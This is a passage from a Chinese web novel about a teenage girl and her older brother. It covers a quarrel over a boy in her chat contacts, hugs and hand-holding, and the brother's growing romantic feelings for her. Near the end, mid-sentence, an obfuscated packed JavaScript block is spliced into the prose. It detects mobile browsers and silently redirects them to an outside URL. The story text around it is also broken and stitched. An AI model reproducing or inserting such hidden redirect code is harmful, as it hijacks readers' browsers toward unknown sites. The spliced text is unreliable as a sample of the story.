她悄咪咪摸去厨房,备好的粥已经被她喝完了,她准备下点挂面,可到底还是不熟练,哐当一声差点把锅给摔了,这一摔把人给引来了,不是爸妈,是她哥。 乔贺沉要来拿锅,妙零不给,乔贺沉直接抢了过去:“大半夜的,你别把厨房给炸了。” 妙零不想跟他说话,也绝不把锅让给他,气势很足,一对眼珠子差点给瞪出来。 可瞪眼珠子没用,乔贺沉稍一使力就把锅给拿走了。他手脚麻利,沸水下面,再过冷水,卧一只荷包蛋,放青菜虾米,最后撒上喵爱吃的海苔碎,前后也就十来分钟,可也足够妙零躲回自己的房间了。 乔贺沉端着面去敲门,敲两下直接进去,孔阿喵又成了卷心菜,他硬是把她给扒了出来,嘴上恐吓她:“你不吃我就去喊爸起来重新给你做。” 见她还是无动于衷,只是气呼呼噘着嘴,头发乱得都有一两根沾在嘴唇上,他伸手给她拨开,语气不自觉软下来:“喵,真不理我了?” 阿喵还想再坚持一会儿的,可谁知道他又拿出他温柔那一套来,她忍不住回嘴:“到底谁不理谁啊?” “你不理我。” “你不理我!” 乔贺沉并不打算跟她争:“先吃面吧,待会儿冷了。” 阿喵还等着她哥来哄自己,没想到他这就不说了,可先吃面也不是不可以,她早饿得没力气了,坐到桌前把面吸得呼噜噜作响,刚想说这面好吃得不要不要的,回头一看,她哥却已经快走到房门口,眼看他头也不回,是不打算管她了,她嘴里“呜”一声,眼泪立马掉了出来,她的心都要碎了,回头端起面一边吃一边哭。 乔贺沉早听见动静了,赶忙跑回来:“怎么哭了?” 阿喵继续往嘴里送面,不理他。 “到底怎么了?”乔贺沉去抢她筷子,接了碗放回桌面,又拿了纸巾来给她擦眼泪,可这眼泪怎么都擦不完,她呜呜呜哭得不能自已,脸跟水洗过一样,他最看不得这个,一颗心也要碎了,忙照着自己的猜测解释说:“我去给你倒水呢,又不是不回来了。” 阿喵抽噎了两下:“那你不跟我说一声?” “我、不是忘了么?”要是往常,他肯定不会一声不吭就走了,可现在,总还有些不自在。 “你不是忘了,”阿喵的眼泪一颗跟着一颗滚落出来,“你就是讨厌我,你要讨厌死我了!” 乔贺沉心里跟明镜似的,知道她在指什么,可又不知该怎么解释,伸手给她抹掉眼泪:“我怎么会讨厌你呢?” “你就是讨厌我,不然你为什么老不理我?在学校也装不认识我,上次,上次你还推了我!这不是讨厌是什么?” “当然不是……”乔贺沉知道这个问题躲不过去,可又不知该怎么解释。 阿喵一看他说不出来,转过头哭得更伤心了,余光里扫到她哥站起来,说他去拿手机,马上回来,她肩膀一抽一抽地,等她哥回来,把手机递给她看,她眼泪一抹,看清楚屏幕里是一连串的好友申请,她哥都没通过,“这、这什么意思嘛?” “这些人我都不认识,”也不能说完全不认识,有的一起打过球,有的是席安以前同学,“他们都是来跟我要你号码的。” 阿喵消化了一会儿,她也不是没碰到这种情况,先前就有好多男生通过姜俞西来认识她,可姜俞西也没有因此不理她啊:“那你不给不就可以了?干嘛要装不认识我?” “……”乔贺沉知道这个解释站不住脚,可又不想再往下说,以前在学校碰到喵,他当然不会躲了,可说话的时候能注意到班上其他男生会悄悄看喵,同是男生,他知道那些打量的眼神意味着什么,也猜得到他们背后会怎么评头论足。 他尽量把话说得委婉,刚说了一句,喵就恍然大悟似的,信服了他的说法。 他松一口气的同时,又默默叹了一口气。他自己清楚,这个理由并不够充分。他在学校不理喵,那在家里呢,为什么也不理她?再者,他阻止得了他同学的眼光,能阻止得了别人吗?而且这种做法并不是他的作风,与其装作跟喵不认识,不如该怎么办就怎么办,谁看一眼,他就冷眼盯回去,事实上他也这么做了,谁不怀好意来加他,他也都一律拉黑了。 可他有时候也会想,这个理由怎么就不够充分了呢? 就像现在,喵不就信了么? 阿喵确实信了,她最讨厌别人用意味不明的眼神看她了,可也免不了抱怨一句:“那你不早跟我说,害我想那么久……”又问:“那你为什么推我?” 阿喵问完立马就后悔了,她这么一问,哥说不准就要反问她:“那你为什么亲我?” 这个问题她答得出来,她已经想明白了,可不是很想说到这个问题上去。 而另一头,乔贺沉又被问住了,这个问题折磨了他一个多星期,想得他脑袋都要炸了,但他也不是没有找到理由:“不是被你吓着了么?你嘴上还都是粥,脏死了……” “那你就要这么久不理我?” “你不是也没理我么?”乔贺沉把问题丢回去。 “我是被推的那个啊!”阿喵其实也不想在这个问题上纠缠,反正能确定哥并不是讨厌她就已经很让她高兴了,她顿了顿说:“我也不是故意要吓你,是……是那天我自己吓到了嘛……” “我知道,”乔贺沉怎么会不知道呢,就算没吓着,喵亲他也完全合理,她时不时就要亲爸妈,这是她表达爱的方式,她对家人从不吝啬于表达爱,他把面碗端回她面前:“都要坨了,快吃吧。” 阿喵先挑一筷子给他:“你也吃。” “脏死了……” “哼,老是嫌我脏,”阿喵把面送进自己嘴里,含糊说道:“我还不给你吃呢,全都是我的!” 她唏哩呼噜吃完,吃完看向她哥:“我还要 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短短几天,新生里就在传,手枪方队里有个女生姓孔,叫妙零,奇妙的妙,零食的零。男生们私下里交头接耳,说别人都晒黑了,怎么那个孔妙零还是白得发光啊? 又几天,有人在休息的时候表演了一首曲子,演之前说是要送给对面手枪方队的孔妙零,这事儿从新生直传到刚到学校补课的高三生里,高三生里有个男生叫席安,席安听说后告诉给好朋友乔贺沉,乔贺沉什么也没说,只觉他大惊小怪。晚上他照例收到喵的消息,喵说手背晒伤了,隔天晚上又说白天被罚蛙跳两圈,后来几天,说军训日记被选中登到校报上,又说照片也登上去了…… 总归是顺利地结束了军训,她拖着个行李箱回到家来,跟爸妈坐一块儿叽里呱啦说了好半天话,等到了饭桌上,又提起军训时候的伙食。 乔贺沉始终在旁边听着,眼看她快要说完了,他假装不经意问:“我怎么听说,有男生唱了一首歌送给你朋友?” 乔林也爱听八卦:“哪个朋友,俞西吗?” “是吧?”乔贺沉直盯着阿喵。 “……”阿喵顿了顿才说:“是呀,怎么连你都知道了呀?” 乔贺沉皱起眉,他是故意说错的,至于为什么要故意说错现在已经不在考虑范围内了,总之以喵的性格,肯定会纠正他,然后原原本本把事情告诉给家里,可现在她直接将错就错,把自己给撇清了,明显是不想承认,可为什么不承认呢?她也不是第一回被这样当众告白了,以前还会主动跟家里提起,这次不仅不提,还不认账了。 “听席安说的,”乔贺沉不想再往下说,可忍不住又试探了一句,“一开始说是送给你,后来说是你朋友。” “啊?不是我呀!”阿喵否认,“就是送给俞西的。” 乔贺沉不用再往下问了,他原本还想会不会是席安搞错了,可现在他可以确定是喵撒谎了,她有时候撒起谎来滴水不漏,可有时候又漏洞百出,尤其是当她心虚得不敢看他的时候,就说明她一定有事瞒着他。 很快,饭还没吃完,喵又说明天要跟姜俞西出去玩,他知道,这次她仍然撒了谎。 他有一种很不好的预感,这种预感让他坐立不安,连饭也吃不下了。他回房间洗了澡,然后往床上躺,躺了一会儿起来,又躺下,过会儿又起来——喵始终没来找他。 当他第不知道多少次起来的时候,他坐去了电脑前,登上了喵的□□。 喵自己房间有电脑,可总爱来他这里,用他的电脑跟别人聊天,有时候她自己躺床上了,还要发消息给他,要他起来往电脑里找东西,然后帮她发出去。 他帮她发,但并不看她的聊天内容,平时没事也从不登录她的账号,至多也就是偶尔登错了那么几回,可这一次,他没登错,他看得很清楚,直奔着她的账号去。 他连找也不用找,一眼看到了一个男生的名字,就在置顶下头的第一行,这名字莫名有点眼熟,他还没点进去,就看到左侧的聊天内容一直在变换,说明此时此刻喵就在跟他聊天,他定住没动,然后单击点进聊天框。 事实证明,喵明天不是要跟她的好朋友出门,而是跟眼前这个男生。 她要去跟这个男生约会。 她要去跟一个认识没几天的男生约会。 乔贺沉简直不敢相信自己的眼睛,她以前也不是没跟男生一起出去玩过,可他知道那都是普通男同学,而这次不同,喵从语气开始就不太一样,甚至跟那个男生约好了明天要穿什么颜色的衣服。 他努力让自己平静下来,往前翻了几页,发现今天凌晨一点半,喵都还在聊天,也就是说,她十一点跟他说完晚安后,转头又跟这个男同学聊到一两点。 她从没有这样过。她从来都是把最后一句晚安留给他,说完一定就去睡了。 乔贺沉要炸了,他又跳着往前翻,结果证明,最近这一星期,喵都跟这个男生聊到很晚。 他恨不得从头把两个人的聊天记录看一遍,可他没有这么做,他脑袋里嗡嗡作响,什么都还没想明白呢,手已经握着鼠标移去右上角,点击“设置”,再点击“删除好友”,最后停两秒,然后毫不犹豫地点了“确定”。 9. 5杯蜜蜂膝盖 另一头,妙零正聊着天,忽然发现消息发不出去了,跳出来一个红色感叹号,下面提示:请先添加对方为好友。 她瞪大了眼,狐疑地又试着发了一条,仍旧是红色感叹号。难道是对面把自己删了吗?不太可能呀,她们现在不是还正聊着呢嘛? 很快,她收到了男生的好友申请,顺着红色提示点进去,刚要按“同意”,这两个字忽然变成“已拒绝”,妙零愣住,立马坐了起来,对面又发了一次申请来,她再要去点同意,同样的事情又发生了。 第三次,男生在验证信息里问:“孔妙零,什么情况啊?怎么忽然就把我删了啊?” 妙零心想,我也很想知道是什么情况啊,总不会是她的账号被黑客入侵了吧? 黑客……妙零想到了一个人。 能登陆她□□的只有她哥,可他又不可能擅自动她的账号,总不会是点错了?可怎么会一而再再而三地点错呢?! 妙零小跑着去敲她哥房间的门,今晚上他看着就有点不对劲,可她撒了谎,心虚,想着晚点再来找他,现在却顾不得那么多,敲两下就直接推门进去了。 “哥!”妙零往里冲,“我手机不知道怎么了,忽然就——” 妙零的话断在嘴边,她哥正坐在电脑前,电脑屏幕上赫然是她的Q-Q界面,而鼠标还停留在新一次的“已拒绝”三个字上。 她发了一小会儿蒙,问:“是你删的?” “是我删的。”乔贺沉供认不讳,表情阴沉。 “你干嘛呀?!”妙零费解,“干嘛把我朋友删了?!我跟人家正聊着天呢!” “人家,什么人家?”乔贺沉呼吸急促,身体里一把火越烧越旺,“孔妙零,你想想你自己在干嘛!” 妙零心想该生气的不是自己么,怎么就被哥莫名其妙凶了一把,她不太明白:“我,我怎么了嘛?” “怎么了?”乔贺沉见她还在装傻,气得冷笑一声,“撒谎,早恋,你说你怎么了?” 妙零一听暗暗倒吸了一口气:“你,你怎么知道?我——” 乔贺沉猛地站了起来,他虽然知道那错不了,可本能地不愿意相信喵真的背着他交了男朋友,这个事实他多想一秒就觉得肺要炸了,又想,喵什么都跟他说,也什么都瞒不了他,怎么短短两周的军训时间,她就跟人恋爱了呢?她明明说过自己不喜欢同年级的男同学,怎么忽然就喜欢上了呢?他想一定是哪里出了错,可现在,喵就站在他面前间接地承认了,承认她跟人谈恋爱了。 所以她说的那些都是假的,说以后要找像他这样的男朋友,她也说过,压根没有喜欢的人,不可能谈恋爱…… “孔妙零,你还想不想读书了?”乔贺沉只是气,气得口不择言,“你别以为你中考侥幸考了高分,以后就不用认真学习了。你去军训才几天,就随便找个人谈恋爱,脑袋里都想什么呢?信不信我现在就去告诉爸妈?!” 妙零听得一头雾水:“你说什么呢?谁谈恋爱了呀?!” 乔贺沉见她一脸困惑,顿了顿说:“你刚才不是都承认了?” “我,我刚才都还没说完呢!我是问你怎么知道我撒谎了,早恋、我跟谁早恋呀?!” 乔贺沉蹙眉,指指电脑屏幕:“那这个人是谁?不是他给你唱了首歌?” “他,”妙零喘了口气才说,“是给我唱了,他还给我递纸条了呢!说想要认识我,上面还写了联系方式,留了他的名字,你就没觉得这个名字眼熟?” 乔贺沉敛眉思索,这个男生的名字确实眼熟,可自己还在气头上,一时半会儿愣是想不起来。 “哼,”妙零这会儿拿回了主导权,渐渐气了回去,“就算你不记得,干嘛问都不问就把人家删了?” 乔贺沉已经意识到是哪里有了误会,不像刚才一脸怒气,可仍对喵跟这个男生聊到大半夜耿耿于怀:“你说没谈恋爱,那干嘛天天跟他聊天,干嘛明天还要跟他出去约会?如果只是普通朋友,又干嘛撒谎?干嘛不承认他送歌给你?” 妙零被一连问得差点哑口,很快反驳回去:“我跟他聊天怎么了?出去玩又怎么了?你就要把人家删了呀?我撒谎,我撒谎肯定有理由呀!你都看到我明天要跟他出去拍照了,怎么就不把前面我跟他聊的也都看了?” “删了还要拒绝人家的申请,你要我怎么跟人家解释嘛?” 妙零越说越气,撂手就走,她还得赶紧把人加回来,编个理由跟人解释清楚呢! 乔贺沉没立即追出去,他隐隐又有了一种很不好的预感,坐回电脑前,把那男生的申请通过了,拉到最前头开始看起。看了一两页,他想起这是谁了,是喵的小学同学,坐喵的后头,喵那会儿正是最胖的时候,但这男生比她还要胖,后来他搬家转学,喵就在家里假哭,说她又成班里最胖的人了。而乔贺沉之所以觉得名字眼熟,是因为这男生脖子上总挂着个相机,而他的名字跟照相机的音相似。 “照相机”一开始没把瘦了的喵认出来,后来把人对上号,就借着唱歌的方式吸引她注意,想看看她认不认得出自己,喵果然没发现,看到纸条上的署名后才算想起来了。 “照相机”给喵发了一张照片,说她大变样,那照片喵没见过,发了一长串笑脸,乔贺沉一看也笑了,差点上手要去捏屏幕里的喵,最终只是往自己手机转发了一张,再往下拉,又有好多张他没见过的,他一一转发,紧跟着,他在照片里看到了自己。 “竟然还有我哥呀!还有吗还有吗?”喵问。 “照相机”又给喵发了几张,说:“相册里没存多少,都还在家里,我回去整理一下打包发你。” “好呀好呀,太谢谢你了!我想都打印出来,我哥高三要毕业了,我准备给他做个毕业相册,有你这些照片,我就能把以前的跟现在的放左右两边作对比。” “照相机”说他知道哪里洗照片好,两人约好军训一结束就去,至于约好穿什么颜色的衣服,是因为喵想复刻小学时候的照片。 而喵选择撒谎,想也知道是为了给他惊喜。她在他这里向来嘴不严,就怕起了个头就一股脑儿全跟他说了,那惊喜也就没了。 乔贺沉忽然就笑了,原来是他搞错了,原来是喵在偷偷给他准备毕业礼物,原来喵没背着他偷偷恋爱。 他笑了两下,很快又不笑了,兀自严肃起一张脸。 喵刚才问:我跟他聊天怎么了?出去玩又怎么了?你就要把人家删了呀? 是的,他为什么会那么生气?为什么就自作主张把人给删了? 他想了想,想明白了。 他是当哥的,喵才这么小,忽然这么快就跟人谈起了恋爱,他当然觉得不靠谱,害怕喵被人给骗了。她有点小聪明,心思还是单纯,心眼也大,很容易就上人当。 他生气太合情也太合理了。 只不过是中间有误会,让他生错了气。 他去敲喵的房门,敲了两下没人应。 “喵,我进来了?” 妙零正按着手机,见她哥进来,立马冷起脸,翻个身背对着他,等到他坐到床边,她又拉过被子蒙住头,听见他说:“喵,别生气了。” 妙零确实生气了,可很奇怪的是,她的气很快就消了,而与此同时,她心底里又冒出来一点隐秘的高兴,高兴她哥干涉她跟其他男同学交往,这点高兴在她的放纵之下越涌越多,以致于她刚刚忽然就对着手机笑了出来。她以前就隐隐发现,哥管着自己,她不仅不会觉得烦,还很高兴,很享受,可这不对呀,要是别人敢管她,敢删她的朋友,她非要大抗议不可,所以她觉得自己肯定是哪根筋搭错了,她觉得自己该生气,该作出生气的姿态,而且一定要足,一定不能轻易就原谅哥。 于是她别扭了好一会儿,听她哥说尽了好话,才装作不情愿把被子掀开点,说:“那你说你错了。” 乔贺沉见她总算有松动的迹象,张口要答应,却有点难以开口,他有错吗?当然有的,可他内心深处认为错就错了,错了又怎么样呢?事情再发生一次,他肯定还会选择这么做。 “你看,你都不是诚心来道歉的!”妙零气鼓鼓,“以后我再跟男同学聊天,你是不是又要偷偷给我删了呀?” “不会了,不会再删了。” 他答应得干脆,妙零心里反而有点不高兴,追问道:“就算我真的跟哪个同学谈恋爱了,你也保证不会删了?” 乔贺沉蹙眉:“你打算跟谁谈恋爱?” “就,以后谈了就知道是谁了呀!” “不准。”乔贺沉没有半点犹豫。 “凭什么你说不准就不准?” “我说不准就是不准。” “为什么呀?!” “你这个成绩,还想早恋?” “都什么年代了,还说早恋这个词,”妙零小声嘀咕,又问:“那等我高考结束了呢?总可以了吧?” 三年后的事,还远着呢,乔贺沉顾左右而言他:“给我准备什么相册呢?” 妙零一听急了:“你就不能装作不知道啊!快点,刚才那个问题你还没回答我呢!” 乔贺沉并不愿意思考那个问题,只说:“再说吧,我说准才行,你的眼光……” “我的眼光怎么啦?我的眼光可高了的!” 妙零不服气,就拿“照相机”来说,姜俞西说他比她哥还帅一点,她就觉得姜俞西的眼光有问题,“照相机”再帅,也比不上她哥,而且跟她其他男同学一样,有点中二。中二并不是贬义词,但她不会对中二的人产生异性上的好感。 她喜欢成熟一点的,要像她哥这样的,她哥除了偶尔脾气臭一点,哪哪儿都好,哪哪儿都让人顺眼。 妙零偷偷看一眼她哥,被他发现了,她不以为意,一把抓过他的手,拿来自己眼前细细地看。 “干嘛呢?”乔贺沉觉得痒,喵的手指细细长长一根,缠在他手上,他想甩开,却又没甩。 “看下你的手怎么啦?”妙零心里很虚,脸上却理直气壮,“小时候我们还爱比手的大小呢。你的手……怎么筋那么明显啊?” 她用指腹去摸他手背上微微绷起来的筋,乔贺沉屏住呼吸任她摸了一会儿,最终没忍住,黑着脸把她手给甩开了:“有完没完了?” “小气!” 妙零小声抗议,她也不知道自己干嘛非要看她哥的手,一面又在心里说服自己,她自己亲哥的手,她看看还不行啦?她跟她哥最亲了,跟最亲的人还不能亲近亲近啦? 她盯着她哥看,带着一点暗示:“哥,我过两天要开学考了。” 乔贺沉看她,眼神里在问:所以呢? 妙零没吭声,她忽地坐起身来,鬼迷心窍般地,扑过去一把将她哥抱住。 乔贺沉几乎是颤了一下,不等他作出更多反应,就听见喵在他怀里大声解释:“我学过的东西全忘光了,要从你这个考神身上沾沾你的气运!”她说着开始倒数,“20,19,18……” “17!” 乔贺沉僵在那儿,满身满怀都是喵的气息,什么考神,什么气运,全都是扯淡,他应该立马把喵推开,可鬼使神差地,他没动,就像刚才那样,屏住呼吸任由喵紧紧抱住他的腰。 “16!” 妙零听见自己的心跳声,她抱她哥的次数数都数不清,今天抱抱,也没什么的嘛! “15,14,13!” 乔贺沉咽了咽喉咙,慢慢呼出一口气,然后他闻见了一股苹果香,是喵洗发水的味道,她头发落在他怀里,落在他手背上。 “12。” 他动了动手,让她的头发落在自己手心。 “11。” 妙零不敢抬头,默默吸了吸鼻子,她哥身上的味道很好闻,说不上的好闻。 “10。” 乔贺沉微微低了头,他看见喵白皙的耳朵,和耳后的一小片皮肤。 “9。” 他别开了头。 “8。” 妙零忍不住动了动,想要抬头看看她哥。 “7。” 乔贺沉再次低下头。 “6。” 两人猝不及防对视了一眼。 “5。” 妙零的耳朵红了。 “4。” 乔贺沉的耳朵也红了。 “3。” 他伸手环住喵的腰,停一秒,颤着呼吸把喵给推开了。 “1!” 话音落下,妙零自己也退开来,垂头不敢看她哥:“好了,气运转移完毕!我要把我自己包起来,不能让它给跑了!” 她再次拉过被子蒙住脑袋,声音闷闷的:“你帮我把灯关上!” 她等了一会儿才听见她哥关灯和关门的声音,这才慢慢把脸从被子里露出来,跳到嗓子眼的心已经被她强行给摁了回去,她在黑暗里睁着眼睛,默默回味了一会儿刚刚那个拥抱,又想着要想考个好成绩,明天得再转移一下气运才行吧?哥应该会同意的吧?他今天都没反对,都没把她推开呢。 她这样想,却没这样做,不是不想,是有点不敢,即便她有很多合适的机会。 那晚的事,兄妹两人都默契地没有再提起,似乎都默认那是兄妹间正常的亲密举动。妙零起初还有些忐忑,见她哥和往常一样对她,她才彻底放了心。 为了应付开学考,她哥又开始给她补课了,可是能补的很有限,因为两天后就开考了,考完第二天,成绩也下来了。 相比中考,妙零的成绩可谓是一落千丈,她自己倒不在意,反正都进校了,学校总不会把她赶走。 “孔妙零你能不能稍微有点上进心?”乔贺沉虽然早就放弃激励她了,可想到她的成绩单,又实在忍不了,“以后考不上家这边的大学怎么办?你要一个人去外地?” “你不能陪我啊?” “我比你先考!” “先考怎么了,”前面就是校门口,乌泱泱全是脑袋,“先考也可以考一起嘛。” 她说着话,被人挤了下,乔贺沉见了忙示意她到自己边上来,妙零跟上去,莫名地有点想伸手抱住她哥,可她不敢,也不合适,但她现在敢短暂地牵她哥的手了,前两天她就试过,一开始只是碰一碰,昨天则是牵了要有三秒,到今天,胆子愈发大了起来,她也没有多想,走着路不小心跟她哥手碰到,她顺势就牵住了。 “啧,还会不会走路了?非要人扶着?”乔贺沉一脸不耐烦,没看喵,也没甩开她的手。 “对呀!”妙零紧紧攥了下他,“这么多人呢!刚刚就被人撞到了!” 乔贺沉迅速瞄她一眼,又看去前头,喵的手在自己手心里小小一只,他伸手想要捏住,喵却先松了开来。 “好了!不用你扶了!” 妙零见好就收,她低着头偷笑,一抬头,发现她哥在看自己,她皱了皱鼻子:“干嘛?” 乔贺沉连看了她两眼,手再次伸出去,这次不是牵她手,而是去捏她脸。 “啊,痛!” 根本不痛,妙零装痛罢了,她伸手去揉她哥捏过的地方,眼神促狭,像只没吃饱的兔子,乔贺沉看了,忍不住又伸手过去:“我看看。” 明知道他不怀好心,妙零还是松开手,她一松手,乔贺沉顺势又捏了捏她,她脸颊上的肉很软,像有魔力一样,让人捏了一下不过瘾,还想要捏第二下第三下。 “干嘛呀?!” “看看你脸上是不是又长肉了。” “就长了!怎样?” 乔贺沉笑,想要去揉她脑袋,忍住了,两人斗着嘴往里走,过了门是个小坡,刚爬两步,旁边有人指着她们喊:“你们两个,过来!” 开学第一天,教导主任本着新学期新气象的原则,想来一览学生迎接新学期的风貌,可刚站了一会儿,他的笑就兜不住了。高中生恋爱的不在少数,有时候睁一只眼闭一只眼就过去了,可开学第一天就撞来他眼皮子底下的,这还是头一回!再者,这男同学他认识,高三实验班的,过两天还要在开学典礼上作代表讲话,这就更要管了,事关明年跟别校争状元的大事,万万不能掉以轻心! 他把人喊来,本来不欲说重话,可见这女孩子不安地揪了下男孩子的书包带,他气不打一处来,声调拉高了:“你们都哪个班的?学生证拿出来我看看!” 乔贺沉起初不明所以,很快又镇定下来,他一面配合地报出姓名班级,从书包里翻学生证,一面朝喵看去一眼,示意她不用怕,然后接过她的学生证,一并交到面前的老师手里:“老师,这是我妹妹的,她高一新生,2班,叫孔妙零。” 教导主任一听,妹妹?!他忙趁着看学生证的功夫,把讶异的神色给掩住了:“乔贺沉,孔妙零,你们……表兄妹?” 乔贺沉大大方方解释:“不是的老师,我跟我爸姓,我妹妹跟我们妈妈姓。” 教导主任往两人脸上各瞅一眼,没看出撒谎的迹象来,可两人看着又不怎么像亲兄妹,现在亲兄妹的关系都那么好,好到这个年纪还能牵手捏脸了?或者,就像学生给他取的外号,他跟不上年轻人的步伐,真就是个“老古董”啦? 可亲兄妹跟小情侣之间总有些区别,所以对于他是否看走眼了,还有待他进一步考证。 嘴上寻了个别的由头:“知道我喊你们来是干什么的吧?高中生了要有点安全意识!人这么多的时候不要奔跑嬉闹,要是出现了踩踏事件,后果会怎么样有没有想过?” 众目睽睽之下,他也无意长篇大论,简单说两句就让兄妹俩走了。 妙零走出几步远还一脸懵,问她哥:“我们也没嬉闹吧?” 乔贺沉心里门儿清,知道刚才是怎么一回事,他心情错综复杂,还等着他去厘清楚,眼下只是敲喵的脑袋:“老师就是看你不顺眼吧!” “是看你不顺眼吧!” 妙零如常跟她哥斗嘴,可到了自己班上,就一个人默默坐位置上想刚才的事情,她心里总有些惴惴,可同时又有点说不清道不明的愉悦,她觉得不该这样,怎么总在同时经历两种截然不同的心情呢?她在桌上趴了一会儿,悄悄拿出手机给以前的同学发消息,问他跟他姐姐的关系怎么样了。 “什么怎么样啊?孔妙零你怎么老问我这种奇奇怪怪的问题,你不会觉得我有毛病吧,早知道就不跟你说我会跟我姐睡一张床了,我跟你说吧,我问过好多人,也不是就我跟我姐这么亲,人家还有更亲的呢,我不是说我跟我姐不牵手的么?人家就牵啊,抱啊,关系更好的亲脸的也有。” “还有亲脸的呀?!” “有啊,别大惊小怪的啦,我邻居跟我一样大,他妹妹三岁,他就总亲他妹妹啊,他妹妹可萌了。” “那是人家妹妹小啊。” “小怎么啦,不都是亲兄妹啊,年龄不是问题,就是相处方式不同而已,难道兄弟姐妹不亲才正常吗?” 妙零又一次被说服了,果然还是她自己想太多! 她也很快没时间想那么多了,就在晚上放学的时候,她收到了一小束花,送花的男生军训时跟她一个方队,当时就是队里跑得最快的,现在把花塞她手里,说一句“孔妙零送你”,就在一堆男生的起哄声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283379|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中跑远了,快到妙零捧着花都没处还去。 她不得已抱着这束花回了家,她哥问她谁送的,又问:“你就这么收了?” “我也不想收的……你之前收到怎么还回去的嘛?” 乔贺沉心想还回去容易,可要不让别人起哄是难的。 “他联系方式有没有,我来跟他聊。” 妙零不知道她哥怎么跟那男生聊的,她哥死活不肯告诉她,她也不好去问那个男生,但第二天在走廊上碰见,那男生跟她道歉,说不该送完花就跑,又说以后不会再打扰她了,她纳罕,更想知道她哥到底跟他说了什么。 可她哥就是三缄其口,她怎么也撬不开。原本打算中午去找她哥磨一磨,她哥倒先找上门来,在门口喊她,说:“去我那边吃饭,把作业带上。” 他穿高三年级的校服,又比其他男生要高,惹得班上人纷纷看过去。 妙零早习惯了她哥受到瞩目,拿上作业跟出去,她哥伸手接了,翻开一看,见了她的字就笑,笑了还伸手来弹她脑门,妙零闪得快:“干嘛呀?!能不能给我留点面子!” 乔贺沉目的达到,立马收了手:“行吧,走了!” 妙零第一回去她哥教室,一坐下就开始研究她哥课桌,又往他书上写字,以前只能在家里写,现在在他教室写,好像有天大的不同似的,她写完拍照,拍课桌也拍她哥,还要她哥反过来给她拍,做作地摆拍完,她立刻发给爸妈看——明明什么正经事也没干,却忙得像只小蜜蜂,乔贺沉在旁边看,看着看着就笑了,作势要去捏她,刚伸出手,意识到这是在教室,又把手给收了回来。 没多会儿,席安买了饭回来,一见妙零就开始诉苦:“阿喵,哥哥苦啊!本来我跟你哥同桌,可你哥嫌弃我,把我赶去前面了,现在我作业都没处抄。” 妙零问怎么回事,才知道她哥为了以后她每天中午过来有地方坐,让席安跟另一个中午不在学校午休的同学换了位置,妙零一听以后每天都能跟她哥午休,立马高兴得大口吃饭。 吃完饭,妙零让她哥给她讲题,她哥讲完题催她睡觉,她睡不着,把眼睛露出来,偷偷看她哥,她哥分明在看书,却像是知道她在看他,眼神不动,只伸手过来,就准确无误地捂住她眼睛:“赶紧睡。” 她顺势按住他的手,又立即松开,笑着说:“知道啦。” 就这样,妙零每天中午都去她哥那儿午休,午休前两人一块吃饭写作业,午休完她哥送她回教室。 高一最初的课程学起来还算轻松,妙零起初不适应,奈何她哥每天给她讲题,她想学不会都难。 可这天一直卡在一道物理题上,倒不是妙零听不懂,而是听不进去,她等了很久的广播剧开始更新了,她急着要听最新一期,一点儿也不想学习。可她哥要她写完作业才能听,她坚持了一小会儿,就开始心不在焉了。 “哥……”她熟练地耍起她那套无赖功夫,“下午又没物理课,晚上回家你再给我讲嘛。” “那广播剧怎么就不能晚上回家再听?” “这你得去问我的耳朵呀,它说现在不想听你说话,就想听广播剧!” 乔贺沉忍住笑:“它这样说了?” “对呀对呀!”妙零把自己耳朵贴过去,“你听呀,它就是这么说的嘛!” “没听见。”乔贺沉一副铁面无私样,其实心里早放弃逼她学习了,只不过一看她这幅样子,就忍不住乔张做致起来。 “你都没仔细听!”妙零不满,手不小心挨上她哥的,仍旧是顺势就牵住了,上半身也挨过去,把耳朵给他听,晃着他手说,“你要近一点才听得见!” 乔贺沉愣着没动,从喵牵住他手开始,他的心就惯例加速跳了起来,再低头去看她,她倚靠在自己身上,露出耳朵来,他只看一眼就忙挪开了,这一挪,又落去了她的唇上,是很饱满的一张唇,自然地透着红,被白皙的脸一衬更显得颜色尤为鲜艳,而触感呢,碰上去一定很软,这念头刚冒出来,他立马将喵给推开,人也腾的一声站起来。 他这一站,把妙零给吓一跳:“我、我听你讲题还不行嘛!” 乔贺沉只想立马离她远远地,丢下一句“你听吧,我去买水”,就径直出了教室。 妙零愣了一瞬,觉得她哥有点怪,起身往窗外看,等到她哥出现在楼底下,一路往食堂那边去了,她才安心地坐回来听广播剧。 乔贺沉这一趟去了很久,中间收到喵的消息,问他怎么还没回去,他胡乱编了个理由,回来的时候见喵趴在他桌上睡着了,他心神不定地坐过去,桌上笔记本里有她的留言:“我就听了二十分钟噢!这个广播剧配得不太行!物理题我写出来了,快夸我!”还配了个叉腰的小人画。 他笑不出来,呼吸还和刚才一样急促,努力想要平复下来,却不得其法,他往课桌上趴,视线最终还是落去了喵身上,喵的脸面向墙壁,他也能想象出她睡着的模样,跟小时候一样,到哪儿都能睡得很熟,呼吸的时候眼睫会跟着微微颤动,头发总是沾脸上,现在则是被她压在胳膊下,看着就觉得会疼。 他伸出手去,还没碰上,喵忽然动了动,应该是睡得不舒服,于是变换了姿势,脑袋一转,脸朝向他这边来。 他已经做过心理建设,慢慢地从她额头往下看,可眼睛一挨到她的唇上,他脑袋里就自动浮现出一副场景,那场景简直不堪入目,让他觉得自己无耻,觉得该抽自己耳光,耳光不够,一棍子打死他算了。 他猛地坐直,伸手去拽喵。 妙零正睡得香,一瞬间觉得自己被拎起来,她茫然地睁开眼,见她哥正一脸严肃看着自己,她问:“怎么啦?” “先回自己教室去。”乔贺沉压着声音,怕吵到其他同学。 “我才刚睡一会儿,几点啦?”妙零也跟着小声起来。 乔贺沉并不回答,只一味要求她:“回自己教室去!” 妙零渐渐醒转过来,往四处看看,也没看见有老师出现,可见她哥很是着急的样子,也就配合地起来收拾东西,她口渴得很,想要喝她哥的水,可这回她哥不肯给她喝了,转而拿了瓶刚买的给她。 